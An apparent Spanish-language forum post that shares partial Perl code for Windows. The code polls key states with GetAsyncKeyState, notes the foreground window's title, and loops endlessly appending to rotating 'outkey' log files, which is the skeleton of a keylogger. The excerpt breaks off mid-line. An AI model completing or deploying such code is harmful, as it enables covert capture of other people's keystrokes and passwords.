Tengo el siguiente código
use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;
Win32::API->Import('user32', 'GetKeyState', 'I', 'I');
sub GetCapsLock {
GetKeyState(0x14) & 1;
}
sub GetNumLock {
GetKeyState(0x90) & 1;
}
sub GetScrollLock {
GetKeyState(0x91) & 1;
}
sub SetCapsLock {} # Not yet implemented
sub SetNumLock {} # Not yet implemented
sub SetScrollLock {} # Not yet implemented
while(1){
if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...